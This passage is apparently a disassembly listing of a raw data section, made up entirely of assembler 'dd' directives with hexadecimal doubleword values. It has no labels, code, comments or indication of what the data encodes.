dd 14BD8076h, 0F27D2600h, 3A37B424h, 971E03BCh, 4CBEC5E6h dd 1034DCC8h, 697E4B17h, 5826E407h, 766DE56h, 660DD54Ch dd 6B2820F6h, 675F7899h, 0C0353082h, 3DD67Ch, 3FD87051h dd 3ED77150h, 91208A3h, 68E08401h, 3D711424h, 2105A0B9h dd 0FC4F42BDh, 100D02BCh, 81CA0F14h, 839BC3D0h, 0D481B468h dd 24DEECB0h, 20989258h, 0A6080100h, 0ED633842h, 0DE020952h dd 600044BAh, 1279970Ch, 189AEB03h, 803B17FEh, 266D81DFh dd 11CE3A0h, 0D76041EFh, 0F4902ED2h, 0F3C86544h, 0D4F8802Eh dd 0F91E6A47h, 0F4077CBAh, 6ACBA868h, 80B4767Ch, 92B659E5h dd 0BF288BD3h, 3113A06Fh, 44F1453Fh, 344A4F8h, 34EE8F1Fh dd 0DA05BC7h, 0C40010DFh, 3A3B2D73h, 3084B79h, 153D68CBh dd 9AF88DFEh, 0C044302h, 95C9CC84h, 0A7C2CE8h, 157E17B6h dd 3BAD05F7h, 2D87803Eh, 710F7530h, 42FB7BE7h, 60A50A23h dd 58FAF8h, 86569920h, 0CF45DDC6h, 6CE8090Eh, 0B69641F3h dd 0BE7005CBh, 0D5BE0024h, 74F8DEF2h, 852D69D0h, 3A506681h dd 4B025A42h, 41976C84h, 0DA9B2C63h, 4A1253A0h, 887B7F2Eh dd 66B87000h, 0FCF284Dh, 652EC343h, 5B4F4400h, 7A003A56h dd 0C9541DD2h, 6036DD24h, 4BCAF0BFh, 2A00A1E3h, 7C6CC226h dd 1EEA30C7h, 4085B969h, 0FE685E72h, 0D900902Ch, 462C409h dd 60C1CBDh, 0A3844DDh, 5E00806Dh, 57283520h, 0C33B3DFh dd 458CF623h, 7F442F0h, 0D4B04C7Dh, 668F5904h, 4D0053FFh dd 0B45EFACBh, 40F8C90Bh, 0B510A5B6h, 0F009081Bh, 7AFC4FCh dd 95D893CBh, 99D221D1h, 9C6F70D5h, 94040290h, 0CB979B48h dd 203B6880h, 594B81Bh, 0C5C4A6B6h, 59A4008Bh, 78EF4393h dd 9BF00912h, 1DF61CF0h, 9AADA77h, 68005894h, 82AC6924h dd 561D8304h, 7AAB334h, 0F03D8C30h, 9EDBBD2Ch, 0FE914D00h dd 2F1492EEh, 0B7E014AFh, 0C600995Ah, 0FBD56061h, 1100FFAAh dd 0CB0607B0h, 87E36Dh, 4C9C5893h, 8ABA32FDh, 91867105h dd 41AEA1A5h, 5F03A408h, 78EDE0A9h, 0EB006AE8h, 0C91E8276h dd 19CA889h, 6E81B972h, 20CF2B3Bh, 99006C45h, 0EFE8E3D8h dd 51C8B17h, 1B9803AFh, 22B8E941h, 2C0E009Eh, 0F003D2C5h dd 2D5F6DF1h, 0DE92ECC1h, 0D194B447h, 8164A880h, 62DCE92Ch dd 0F37D04DCh, 0BC247239h, 5C40210h, 0DC288B48h, 0A9038C04h dd 22772CBAh, 9A0120B8h, 1EEF58CBh, 10809F37h, 4D0DEC1Ah dd 0F100D9D3h, 9DA38833h, 32C662h, 1D36072Ch, 5D7897F6h dd 36FFC5Ch, 5E0F4742h, 38809C73h, 3AC674h, 9BB9CC31h dd 6FC572E3h, 32AE202h, 740D1AA3h, 0ED5B0350h, 0BFC8CB6Ch dd 260C887Dh, 0A1CD43DFh, 23E200BCh, 0A0E3A29Ah, 5E1788A9h dd 58070183h, 2710FA71h, 6B32E98h, 95A193EFh, 0CD0009F3h dd 2A2F0D4Bh, 2DD6BC09h, 1D4D17h, 5F30C8E4h, 0B859D0B1h dd 0F9950EA4h, 0C07298h, 25C6A867h, 0E810DCBEh, 0CA80E960h dd 0E8300991h, 28D6h, 4CA6904Dh, 0F38E6602h, 240DD8F1h dd 0C841BBE3h, 7DECF0BFh, 40AA5C96h, 218E3B04h, 0C3D3895h dd 52BBC11h, 921BE636h, 7D86CC07h, 828BE4D0h, 2824BD03h dd 0D38CC094h, 0B3E4FA6Ch, 39DABE00h, 0F9F82431h, 4903018Eh dd 0AE790DA2h, 7CDC4034h, 0C30E13CCh, 4067D70Fh, 37DFAC24h dd 0E69C90C9h, 0A5ED034Ah, 4FF67523h, 0E480B6E2h, 4DDF0A89h dd 3B251890h, 7EACD07Bh, 0B1100540h, 0F81F4E62h, 781589D8h dd 94C41C8Ch, 92D383D0h, 97D296CEh, 0FCD52EC3h, 9ED50084h dd 536FA2DAh, 0D9A81D56h, 0D4CA2FBFh, 40A9C402h, 658805Fh dd 5C6C82D3h, 0AC001480h, 0FCABDC7Dh, 0E526E4AEh, 602DA72Ch dd 413D564h, 15C41257h, 0A64BD6Ch, 0C0A82843h, 58FCB081h dd 0F0502AC1h, 0F35D03FEh, 9D00AC28h, 8137A7B7h, 4507D116h dd 0C8F0CB64h, 0E342BDE7h, 80A48F01h, 0D77BAA17h, 0CB200031h dd 0CD9C5915h, 81002B56h, 60A1EC2Dh, 96272C38h, 7FAB0004h dd 7AF52082h, 0D57D21C0h, 47819A2h, 18A4964Bh, 0E204B084h dd 0C3CF089Eh, 0F81B43ECh, 247412Ch, 0D77EED6Ch, 4C60A2CCh dd 0FD0E07C8h, 60AA138Ch, 0B0112E0h, 2880BFB9h, 0C5224769h dd 132F4D00h, 0B345890Eh, 0D8A607BCh, 2971F81Bh, 0C646AC00h dd 8F07FE05h, 1C9B651Fh, 91BA0149h, 0A0348D10h, 8094B5B1h dd 598BAC13h, 5EDDFC02h, 0C6908005h, 2600E22h, 2676F27Ch dd 9042041Ch, 0D1B98CDEh, 8C006F98h, 45332A4h, 88B091A8h dd 9C01F408h, 2A8EE46Dh, 93723080h, 0A255E14Dh, 57D98F2h dd 7B94400Ch, 6D82029h, 7E31BEB2h, 0F6EAB888h, 0F3F9089h dd 0A5E58E98h, 0BDD8A04Ah, 8848F306h, 7BB960C3h, 0CF092F12h dd 6C06C93h, 5B07B540h, 0B635A4D9h, 0F8E93195h, 0A82E8018h dd 0FD1E3EEEh, 0E1D4AE5Fh, 3CEF1F18h, 34845540h, 2E7BD5h dd 0D2C7C948h, 0E0698D21h, 0CE1F0F3h, 0AB07E200h, 0AF08E975h dd 0FFD90009h, 0B07C2ABEh, 0D500793Dh, 7D19AE43h, 2847B9Eh dd 3569DBE0h, 0B0A0EFAFh, 4C874A0Ch, 0F4B0DC26h, 6B95F400h dd 2D88F902h, 30F2527Fh, 0F2257700h, 7EF860EEh, 0FFAC1CBCh dd 0E086D65Ah, 0D1123C3Ch, 10E8A356h, 8A9F02BAh, 196FCEBBh dd 82A200CBh, 0DF9805ABh, 368CDC0h, 52C8D710h, 0DED0B112h dd 0FE3AFCBCh, 0EF44460Dh, 0C0CFE318h, 0EC77A2AFh, 95A08903h dd 0F13ED3D7h, 3FCAE20h dd 671C00F3h, 7EE72C84h, 0B2348F64h, 3EA38D4h, 89F2FED4h dd 83666800h, 57A1C5CEh, 82AA1335h, 30F8ACA4h, 0D6B478D4h dd 6298980Ch, 6CCE9953h, 0EF895889h, 6908F45Ch, 72FC0055h dd 0BDB52EC4h, 762A0084h, 453A0FAAh, 0DD0E0285h, 1DB93D93h dd 14D52C7h, 0D8C44CF3h, 0B80AE1h, 1058A2E0h, 0CEC58F12h dd 0C3955F00h, 45D36BBBh, 0BE6000F8h, 8EB7B047h, 0FD0E7BDDh dd 20329048h, 0CFAB0CB6h, 54652F56h, 2E6276E0h, 9CB34600h dd 0E8C25F64h, 7EE478h, 5D8751B7h, 31EA70B1h, 1DA0D23Ah dd 0F00E84C6h, 4E1D40B4h, 0C65BEh, 263EAA48h, 7847D5E9h dd 0A0C68500h, 0C4674180h, 73E60020h, 0ABB2844Dh, 8D5B58E2h dd 10006CF2h, 0B62EB33Ch, 0C70F0EE8h, 478897A2h, 9B10D959h dd 0E49A15h, 0F51CD444h, 1DAB5F0Fh, 40BD1B31h, 0D03BDBECh dd 832F8C34h, 1172E732h, 0D890DD2Ah, 8103879Fh, 0A796EF01h dd 4447C0FDh, 1D9502E3h, 0A635C18Dh, 0B1E0F08Fh, 2DEC08ABh dd 1C0045FCh, 916CA81Eh, 0FE8B3CFBh, 61DA6136h, 0E87EE2DFh dd 0ABFA2179h, 0B4BC2800h, 0A9497830h, 1CF2A6h, 5FE49E01h dd 1013CE43h, 1102648h, 0B7844AA4h, 0A186E77Fh, 0DCD1A085h dd 0EB24EC74h, 5D016C96h, 5C037E14h, 0B984D187h, 80B51528h dd 6CDF027Fh, 45249875h, 0B1404068h, 0F63B1371h, 21DB686Ah dd 0DFE28034h, 0D174A4ACh, 7740EE1Fh, 6C9632C0h, 31452A48h dd 36495F62h, 0D8E980FBh, 0C1AA2DE7h, 0A6860047h, 5898E059h dd 99C642A9h, 3961E57Fh, 1FFE6318h, 1910B3C3h, 0FC5558B0h dd 0A400B433h, 0F171D021h, 486AD168h, 0C33C8D58h, 7835A780h dd 0B6E9A9B9h, 0DE98040Eh, 1BBE83EAh, 0DC1011B7h, 0E1D280E5h dd 8849BD92h, 0B830EAD3h, 7B5E41AAh, 46456D6h, 2F0C070Ch dd 0D70C0110h, 217706AEh, 3F71281Bh, 187A70C4h, 8EAF86Ah dd 20C0D711h, 1A3F7939h, 98A40197h, 0DD20BEC4h, 0F9598052h dd 7A943351h, 6DF660h, 441EDCC6h, 52A8B187h, 49622F1Eh dd 867BF30Bh, 396A52h, 0A96BCCBEh, 608AFFE7h, 8B74BAB8h dd 0AB215960h, 3E26BE4h, 54C3D10Fh, 911824E9h, 0EBD92680h dd 520D0039h, 5FCB4020h, 0C8009FD0h, 0E57CF99Bh, 53CD2C9h dd 0B75AF4E8h, 8882468h, 6AC09180h, 46A0803Fh, 0E2242h dd 863F7234h, 9C012108h, 0FC0C0501h, 7CC161D5h, 110AB050h dd 226C0F60h, 788C9DAEh, 4901A719h, 77DCFF95h, 0C4701057h dd 8B24020Eh, 0AAD6FE16h, 3F754490h, 5AA08111h, 35802788h dd 0DB913F7Dh, 51CB0114h, 0D1532FB1h, 2A218A21h, 4540F8A9h dd 0C2BEA350h, 5CF82711h, 1D600444h, 35E0EC31h, 0DF87002Ch dd 99347123h, 13124137h, 6B06DC6Eh, 85152A5h, 2D807A44h dd 9F812180h, 0A6A31Dh, 254C73FFh, 64412027h, 2B839918h dd 43B629h, 48A1DB2Ch, 0A0A97749h, 0BC604A74h, 2DABEF21h dd 0F0C10C59h, 0A991E07h, 8D40CB01h, 65DA835Fh, 2AFD8BC0h dd 87E4A0EBh, 601344E0h, 79118Dh, 0D17091E1h, 2E5F1E5Bh dd 6EEACD01h, 5EEB5396h, 95231023h, 853F7609h, 3022E2FFh dd 7E382210h, 0A7265000h, 279D1267h, 519020FAh, 0C4A42CF9h dd 0D388FE74h, 0B0751CACh, 1540DE95h, 0A6809C9Ch, 90A1CE2Dh dd 0BE224A43h, 2DAEE809h, 18B703A4h, 9E5E842h, 3FE4068Ah dd 292783B6h, 61D2F901h, 9051F5F3h, 5696E0h, 8CC4BA6h dd 0CBA3D594h, 0C1D8840Ch, 703996Fh, 42BFFCD3h, 0DE8150B4h dd 5B7A6945h, 0E5BEDD0Eh, 0B3CD1E9Dh, 0B891307Eh, 2DAC808Eh dd 8CA0A1D0h, 96BF44h, 0DA222D94h, 0C1703889h, 34796E60h dd 0CD3910h, 2CBF7885h, 4588A055h, 7602EF74h, 6EED1C61h dd 0F9D48425h, 7F309432h, 0D797583Fh, 0C22D446h, 3FE73B00h dd 717E526Ch, 93EF0060h, 77439DE2h, 7668D553h, 12008C49h dd 866FAD89h, 0A02A24FFh, 0D05342E8h, 0A242B846h, 0D523F909h dd 56DB5020h, 81302B31h, 0BC9E2124h, 0C4A509E8h, 92003519h dd 0BFB87FD5h, 808C2706h, 4828655Bh, 0B985B8C1h, 0EA5646h dd 81E0FDF8h, 0B40DF1BEh, 59299F51h, 7965E0FBh, 0F2E12427h dd 2AFE822Ch, 58837FA1h, 2A306221h, 51522154h, 9F0B0488h dd 0C3A7D143h, 0C02249B0h, 5C8050FDh, 77970017h, 0D2E60787h dd 9C3ADFE5h, 0FA01EBDh, 0C42E108Ah, 11467Ch, 0C905E008h dd 981CB64Eh, 801E4464h, 1D6B2C44h, 12CBADF4h, 60D41FC5h dd 0DB293760h, 23C7E19h, 0D0CC4977h, 0A8465DACh, 42029846h dd 0B0A1DA2Ch, 0EC10BD31h, 0C5002DAAh, 4E1F4411h, 15530DE5h dd 0A47ACEDBh, 69356B0Bh, 0D897BD00h, 0C430DD49h, 0F777F07Fh dd 511C0AD3h, 0A9BCE0F4h, 19B3D1E8h, 0FAFED0FCh, 1B8D00D8h dd 864CDBDEh, 157731A8h, 0EC4CFCF6h, 22FB10ECh, 4568FE84h dd 0F8889C51h, 0E38903A5h, 0F47AE007h, 0BCCCE6C2h, 0AC6BD302h dd 198B37E7h, 0EB9E105Ah, 24F6486Bh, 4ECE1C03h, 5915B9F9h dd 178879C1h, 0AD00B576h, 0DA123862h, 58630239h, 1C06457Ah dd 9B50D0A0h, 510F89A4h, 0E0909943h, 0A1098DE4h, 0FAF90015h dd 5D562CDEh, 6060CEE6h, 0B6850459h, 82FD0373h, 0AAE52B17h dd 21660830h, 1B69DBFh, 6A19122Dh, 20F99889h, 0CC8965C4h dd 126E9FE8h, 23F65044h, 78A8A924h, 101348Fh, 7F8AD962h dd 2F102207h, 173DA659h, 1E7681D0h, 6CC2A22Bh, 0D2A050B2h dd 11B68130h, 88E2FD77h, 99BB806Bh, 0CBE624B6h, 8876AB33h dd 1320E4F5h, 6200A7C4h, 14D5FE4Fh, 0B9D92CE5h, 0ED828018h dd 0BC5C97CDh, 0B039987Ch, 0F1A50227h, 0AEE3EF15h, 0CE8031E8h dd 0CFE7A76Bh, 58228A43h, 6BE6AD01h, 0C61F1CFEh, 18E048h dd 50D82CACh, 0E98F4198h, 0B7033801h, 5340EBF7h, 502A0430h dd 444CABh, 0F1FF0E23h, 12A9D5F2h, 49DFDE0Ah, 7E60A4EEh dd 1F69E676h, 189436F1h, 3DCC192Ah, 0F7CBA1Fh, 3243C5Dh dd 6AF880Eh, 46D0EFFEh, 6BD10778h, 0C418E7A6h, 0E9AC4044h dd 75AE6Bh, 92A70DBFh, 5FF927B1h, 2BC121DCh, 6D4AB82Eh dd 8C9DC420h, 0CF2DA704h, 0BC62A8A1h, 2DAFEB20h, 8BEA1381h dd 0AB6C0884h, 413F74C2h, 142852D1h, 7C60E2B2h, 7000129Fh dd 0E457DC2Ah, 48B9ED08h, 6CE8248Ah, 7D70008Ch, 0C8B44171h dd 5874A089h, 12C76348h, 0C900754h, 128671h, 3BE28542h dd 0E4464A2Ah, 6A9B8A00h, 41A545F2h, 7E41CA2Ch, 8B7A60CCh dd 0A2000A40h, 91C3DC41h, 646931Ah, 6440163h, 6102292Bh dd 7AE71C6Ch, 1A0F60BBh, 770501E2h, 6561551h, 42905175h dd 81FBF4D2h, 6B394912h, 63D488h, 0A308CF85h, 0A188EB4Fh dd 216BFA1Fh, 0E2E72B81h, 0F9A0EAC1h, 28E94694h, 0FD2B8484h dd 6811949Ah, 0B69CBE00h, 0F3916038h, 0CD01617Ah, 63CC1D95h dd 0E2D5AD9Fh, 443430h, 0E5D99E87h, 0CD499304h, 63C4D000h dd 27759447h, 0A06758D3h, 0CB0F7094h, 422FEB59h, 4FAD9C01h dd 0E2583394h, 536C3050h, 9478DF2Ah, 15D77309h, 91CC97F5h dd 4F08059h, 5831052Eh, 784D8ED4h, 88F82712h, 42869D38h dd 84FF02FDh, 0C8EBE1A3h, 0ADFE0Ch, 4A0DA5AAh, 86232FAEh dd 2440FC3Eh, 46749CB6h, 2A9500BEh, 7656083Ch, 0D8843AF0h dd 8CE89850h, 71B69704h, 516292FDh, 0B68FA520h, 0EA2C05B5h dd 164881ACh, 0EB6402D0h, 38E4D73Eh, 46569C94h, 199F0113h dd 630840B2h, 0A3140C23h, 0C80ACC5Fh, 44D07974h, 0A4E265h dd 0B5ABB55h, 72230FD3h dd 949D5DF7h, 2EB011h, 0E04CB10Ch, 9D2C65Dh, 0C3F786E7h dd 7F2E5868h, 24E1701Eh, 69F22F43h, 0E014CA2Ah, 9CEBFDE4h dd 137E9F50h, 6DA405F7h, 67F06245h, 61E4A484h, 0FDF4B683h dd 0C094B1F2h, 0CDB69BA1h, 5F69F91Eh, 710DD2C4h, 66E0D8A6h dd 3504F8F2h, 55DC169Fh, 0F1A6400h, 0C701523Bh, 1190BBD0h dd 0EC2127A2h, 0A5242180h, 0DAA436F9h, 82CC7F01h, 0EF206FF8h dd 48E95301h, 1300D5E0h, 0F0B3A19Bh, 43855h, 8418DCAEh dd 7EDEB01Dh, 51F79600h, 0EC15A3D5h, 136400B8h, 0FED2CEB2h dd 0E601C71Fh, 76DB4CEAh, 819D51DDh, 0A775057Dh, 954AC06Ah dd 41073F3Eh, 76C1ECFEh, 0AB7084ABh, 64DDD488h, 0DE44394Eh dd 0DE450078h, 0B4333588h, 864D0321h, 53A602DFh, 0FEF0BAF8h dd 40A77100h, 0A9E5826Dh, 85D40EC2h, 80747B12h, 10F4D300h dd 4E215373h, 6CDCA919h, 0A1F45179h, 42DC9263h, 0B97A00D2h dd 0AD42F84Fh, 6DC000B8h, 3C5CF532h, 0B739D1C2h, 7F4A06C5h dd 0E4286A43h, 2B8D3933h, 93CCEA83h, 180CEE41h, 485D8290h dd 296E386Ah, 0E48E318Fh, 4D3DC9C1h, 347ED0BFh, 0DAFC4601h dd 0F9AB9FB1h, 4F3000C7h, 0FEA31A79h, 8B004E82h, 0A57E8670h dd 3C5ACCh, 4F98FA0Dh, 75528C4Bh, 0F819000h, 0AB2EAE0h dd 0BC1C0EC5h, 4AA37360h, 0A90A5E7Ah, 30F7BBE2h, 194E410Ch dd 45250021h, 0D91BEE7Eh, 0A4128098h, 1E0FB834h, 3B9221E7h dd 40888240h, 0B084D2C1h, 1EB87Dh, 28D9F191h, 801F94D8h dd 62C7CF50h, 32D034BBh, 5CBE4B5Ch, 0FF006D78h, 0F08BC457h dd 0F4E97F7Dh, 89C05055h, 479B11C5h, 0D509180Fh, 56726988h dd 0E3A2CF05h, 0EE189D20h, 7EAA719h, 0F9888BA5h, 8C1EA074h dd 0FB1C8AF6h, 0F4CF8F70h, 5AD680F5h, 3BBB8BA0h, 328C2F4Ch dd 0E12691B8h, 0C3C1EE00h, 7B2DCCFh, 224100D3h, 0E8F0432Bh dd 3300AF84h, 8FF476FFh, 64585F5h, 48A827DFh, 0E71F28BDh dd 53803B42h, 8B3FED79h, 0B6392EF1h, 54203030h, 0C37407C6h dd 0EF16AD07h, 0A14F8EFBh, 853E52B0h, 2A43D8E3h, 2C48B0E3h dd 0EA69DCEh, 1E809CA7h, 3841A9A2h, 30B42A37h, 0E6BEEF40h dd 0E807776h, 4BF6D64Ch, 45C30052h, 254D2DE0h, 0DA693806h dd 10E10Fh, 0C1AFD41Dh, 0E7D69FAEh, 5476C606h, 3890F553h dd 0D40B9357h, 0E18008ABh, 4C7A7E23h, 2A846050h, 1513BA3Dh dd 608C54D7h, 0E2FC4B08h, 9CED265Eh, 9D080F94h, 884299E0h dd 0D93AAA4Ch, 7A81F3Ah, 0DB9AF400h, 0F8974D8Dh, 1869F0B6h dd 1040B735h, 0C000E33Dh, 544CFB41h, 17A47EAh, 5D9ED2B8h dd 0C4880BA0h, 911CDB61h, 824702E2h, 38C75EB0h, 39078E40h dd 8FD6C4Ch, 321F0430h, 90009E86h, 92E65E22h, 0F3830141h dd 99AF94Ah, 0C8D9B45Ch, 0C3EF047Ah, 3ED16C6Dh, 0F10C9110h dd 4B212A7Ah, 0EB0A5800h, 76523CA7h, 5B09CB3Fh, 436BB820h dd 3D00530Ah, 0B0F54061h, 793BC3Ch, 0DA5A25ABh, 3630C0D4h dd 1DF82877h, 0B59F1717h, 4C92B404h, 0E5BD5600h, 91C05312h dd 0D7BBE4F4h, 16FD3AE9h, 8F5E11Bh, 217C219Eh, 6656BB00h dd 0EB3750B1h, 97D11DB6h, 0BFF90C5Eh, 8418B8B9h, 75E10D30h dd 0AF51307Bh, 5608D390h, 22A8D760h, 0A8C8E0B6h, 5027A184h dd 0CD4443Dh, 85043770h, 42711811h, 552C0707h, 23E03A7Fh dd 0CF554D2h, 68A227ACh, 342AE729h, 203A079h, 0B2F059Ch dd 0F0703E83h, 7825440Ch, 23054221h, 168DE493h, 9F58C0Ch dd 0E2B9C07Fh, 3D90939Ah, 30CCAB17h, 86229100h, 76C1460Ch dd 0DC8518A7h, 0D461C1B2h, 0C856ED01h, 0CC7C7706h, 6846BC47h dd 3CEF0021h, 0A3C728E2h, 2400FFBFh, 60D6A671h, 50B5AB90h dd 1069905Eh, 46BEFDE8h, 234625D8h, 1283C18Ch, 40596DA1h dd 448C3404h, 37E6581h, 8B2E1200h, 840170D3h, 1CBE03E1h dd 0E5FBBAEAh, 0DC30317Fh, 0CA7899A4h, 0EF110047h, 0A7193AD0h dd 0F8006AF9h, 0FD35D444h, 1F27694h, 0AB4FAC7Ah, 20D03F62h dd 2091412Ch, 0F680EB11h, 0ADE925BBh, 0EF130087h, 3967A0BBh dd 4E8F0200h, 9CF0611Dh, 42D50C80h, 93998CDAh, 0B0AC9EE8h dd 57EDD70Fh, 587668C8h, 0E2003FF2h, 0F4518649h, 34824CEh dd 275ECA67h, 81097EA4h, 2DD620E9h, 0AAF13994h, 0AE005C22h dd 0F5F6DBFDh, 6200467Ah, 9CBECE3Bh, 6899F93h, 13FD360Ch dd 42F420F9h, 41779102h, 0F2BFFCh, 299F95A2h, 147AF33Eh dd 490B306h, 4D5ADB77h, 488A8088h, 7502C85Eh, 0A2A985A6h dd 0C8F04849h, 0ECF8DF60h, 243E20DEh, 0DAC05843h, 218DAD93h dd 4391802Eh, 93923B03h, 0FDB0D6D7h, 0CE063FA5h, 0D4A4AEC4h dd 3095EAE1h, 0B4A017E3h, 8660AB91h, 0BCFD8CB8h, 49598112h dd 5E80918Ch, 0F6932180h, 448C868Dh, 99023829h, 7E5DC93h dd 22B8AFE7h, 878EC750h, 7020ECC1h, 1C54DCEh, 24591E81h dd 80250F6Dh, 76E6C678h, 609ABA88h, 5A8BB1B5h, 44905332h dd 0F319F010h, 18A41E1Eh, 90BAC978h, 770D70A8h, 52072F40h dd 2A74ACDFh, 0EC6426AFh, 8DA10893h, 716F9DCEh, 4890CF20h dd 0A7E2A22h, 4961E889h, 801E13CCh, 7B041634h, 5C3121C0h dd 73C611Fh, 3214D644h, 0A5B5F0D5h, 9B4922A6h, 0E24A8064h dd 4336C858h, 0A42277h, 53EDD281h, 0F6B6AD7h, 1244C038h dd 200E69C5h, 6FF982B4h, 0B5DC80F5h, 4E261F06h, 773C009Ch dd 133FBD5Ah, 0AA81C891h, 0CDE921BBh, 3F88ED18h, 0FFBB05E3h dd 4076136Ch, 0C16DF90h, 9A09ACA0h, 91253AE7h, 0B4502438h dd 3E96C23h, 0DE7BFDD0h, 0B5B88ACCh, 7515A416h, 6E87C83h dd 0B362C2E2h, 0D14100D9h, 5356D0CAh, 0E4995ADh, 70987CA4h dd 234863FDh, 0BBF90FD2h, 62F5E9A4h, 0EE1420E6h, 9800B1BBh dd 337E2E2Dh, 28A83A1Ah, 7F985479h, 0BF81C0C9h, 6953C4FBh dd 7A982490h, 0CF5CFA1Fh, 917703FEh, 0BC9AB7h, 0F7448BE1h dd 0F6A68C27h, 709C57E8h, 76C89CBFh, 0E1406942h, 93084155h dd 0B15D2020h, 1843D130h, 550300A9h, 9BA4CF4Fh, 106013A1h dd 4356BE21h, 3DF90EE3h, 0D40251Dh, 0B27A3C17h, 9493A9C0h dd 0BEFBA0h, 517CC48Bh, 0B1D302A1h, 0F9BDFD31h, 518C0C14h dd 1F9E574Dh, 31D36609h, 18C37F1h, 557B8CD9h, 0C0B04446h dd 3A6BCAB0h, 782DBC06h, 0A1186D0Dh, 6032F169h, 0D6C0D8F7h dd 2C8B830h, 1DF2F191h, 2C4008F6h, 0BE810E8Bh, 14209821h dd 43BF4493h, 8A8C0409h, 0C190018Bh, 0AB009987h, 0D500E4CDh dd 0D84A0FB1h, 21BD5D6Ah, 80A812E8h, 0E5E92012h, 20EC3062h dd 68BBF82Eh, 1DDCE401h, 0AE08E901h, 0B1BCE460h, 47809CC0h dd 201AD242h, 88A9C121h, 50E5103h, 90C50D84h, 2EF63010h dd 2420D21Ch, 1B940860h, 646DF90Ah, 0A640B000h, 3EA3EB8h dd 2038482Dh, 0D597CC35h, 23A83A16h, 0AD58008Ah, 6A74AB01h dd 680EBEEAh, 88FD2A02h, 0A9540231h, 9887846Fh, 0CA30319Ch dd 0FCE08FE5h, 46E0E990h, 0BB50448h, 38E4A7FEh, 0BAC0268h dd 37E75CCFh, 0DB040051h, 79055E16h, 9CE082CBh, 0BA84B0A0h dd 28BA588Fh, 83200898h, 0C0F14C3Eh, 0B40F7B22h, 60B1E8EEh dd 0FBB54AE3h, 0A402031Fh, 7B8D557Ch, 0F2604DEFh, 5A538382h dd 0EB91F497h, 0A74CED80h, 34EE283Ah, 0C7646058h, 4200A9DDh dd 165CD1h, 336EFF8Ah, 25986C3Ch, 0FC514F03h, 6907E8h dd 36CE7131h, 12665A55h, 0B109DC00h, 0B65E9B45h, 0ECA8A491h dd 8BA54F1h, 0E0AC0A21h dd 11A09B4Ah, 31270C29h, 49C95984h, 0E500EC46h, 9F69523Eh dd 50167F92h, 8430F9B1h, 8042E305h, 5701F638h, 910C873Dh dd 0E858FB54h, 10B08AAh, 97C4ACA4h, 0A456940h, 310365A2h dd 0E70B0C0Dh, 0EC31A5C9h, 0F82657E6h, 0DF269110h, 8DE39302h dd 107D31FEh, 7932C35h, 0E317C56Eh, 5445099h, 0ECB2137Bh dd 407B8D46h, 0C0B1DF15h, 5B7168A1h, 61B1D819h, 4E3E3812h dd 3917401h, 0C883A319h, 3C85C4CCh, 811655A9h, 0FFB612A9h dd 689675F6h, 23E82F93h, 842400B6h, 2952746h, 0C9580A71h dd 12E681F8h, 0E3FCBFA0h, 0C8A900F1h, 1B3C1C6Dh, 5E189A93h dd 0B608E8EDh, 74109045h, 0D590D2B7h, 24881420h, 0C487A13Eh dd 8329AB87h, 21384C68h, 442306ACh, 0D17B28h, 0D78AA0C6h dd 0A1267DF1h, 23F49248h, 0A56009Fh, 514CA7D5h, 15E54486h dd 0BC0B9100h, 0ED852A8Ah, 0C4DF16F8h, 46000931h, 85CDC430h dd 0C98AA50Dh, 0A0FB91B9h, 83398h, 9A9B8DEEh, 14709210h dd 67A11360h, 1D0ECBB9h, 804A5553h, 5C2F5782h, 0AD176FC1h dd 44227080h, 0CE63C040h, 1C721CD3h, 0A1AC4583h, 9D9807D2h dd 0B641B290h, 27AFD302h, 0B831C9BAh, 0AD5C202Eh, 9320048Ch dd 629E8DA7h, 98392040h, 3330D793h, 1A8FEA63h, 782F4CE7h dd 26D82D81h, 899062B5h, 919017F0h, 79B0817Ch, 582DC91Ah dd 8780D13Dh, 415D6BE4h, 2725AD11h, 0E15420AEh, 99BD13h dd 3FEC55F6h, 9FDF72D9h, 798A1094h, 2D644DDh, 0C6C9B659h dd 300A20C8h, 0C1EE953Ch, 9ABA12DCh, 407334CCh, 5E10382Dh dd 0D8507D8Fh, 0AB388CEEh, 0B4A4110Bh, 6287EE88h, 14E00A42h dd 7BE030BFh, 5D9D024Fh, 24A4FDA7h, 8F9160C8h, 995BD088h dd 189879FCh, 77010091h, 6FA5AB5Bh, 0E12806EAh, 89DF98CDh dd 932E74Fh, 0AA2869BCh, 93792D18h, 9CA68D12h, 0CC008CCAh dd 0B1E9384h, 0CC91E0B6h, 4A58009h, 0BCA52854h, 3B63A07Ah dd 0A18D809Fh, 15A2CE5h, 0A69F4D32h, 0CDB1D2F6h, 0F14196B7h dd 0ACD48817h, 8B45C007h, 0DB4ADF71h, 133C8441h, 0BB04A70Ch dd 1705E92Ch, 3A20EF32h, 0AA7BBACh, 359C6CDCh, 0D8533DC4h dd 3130E2A2h, 67F8001Dh, 0AC514387h, 60999B3Ch, 35ECE381h dd 0D422A82Eh, 5A220474h, 96946358h, 71F930D8h, 9A9030DCh dd 62DB0685h, 3CF5F946h, 58080920h, 0B9B81404h, 182659C8h dd 0EC6C5CD6h, 96C0478Fh, 7EDCF546h, 0FAFFEE00h, 23148538h dd 0D5650E3Eh, 3A974B37h, 38462394h, 642058F5h, 59C0FC88h dd 21A44A0Ah, 0FC645144h, 7BA2C0C0h, 11CC30E7h, 0A62C02C1h dd 81F4294Ch, 990866ADh, 2E0E1AC4h, 0A5401C8h, 0CFC802ACh dd 719C4A00h, 9A05D5FFh, 1302F744h, 717BCCCh, 4F5C2AEDh dd 6BC2DED0h, 4C40260Ah, 0E77D9FBCh, 99552718h, 0A8A1C931h dd 0FCDACCh, 44A8D99Bh, 13CF4E06h, 1E017100h, 8CCA4859h dd 489DF28Ah, 99F858E3h, 27D0F38Ch, 86070059h, 0E47902E6h dd 0B90382C1h, 9C3EF767h, 5122F305h, 0A076085Ch, 384922B0h dd 376A906h, 817D04h, 28BB8AC2h, 7A63243h, 0A0439F4Ah dd 52791E8h, 55AB7570h, 0A504805Fh, 0CE15F848h, 2690699Dh dd 0D008DCB1h, 0B0C91D4Ch, 48892119h, 0F0E1FA00h, 0B71D4447h dd 6D78029Ch, 2990E99Eh, 3F0F94C4h, 201EBE27h, 8DD9AC58h dd 6B90085h, 114BBC18h, 8065D69Ah, 58D898C2h, 0B5E20401h dd 2C76EEC9h, 0EDE900F0h, 38BAE337h, 920B6CA6h, 90CBE7BFh dd 2C782DFCh, 64F4A525h, 0F23CF25Fh, 0FBB930EFh, 0BE70A30Bh dd 40D012EEh, 81E6D7E8h, 0D3EDDB43h, 0C5A4ED80h, 0D5788C08h dd 4B88205Dh, 9C02D861h, 10288435h, 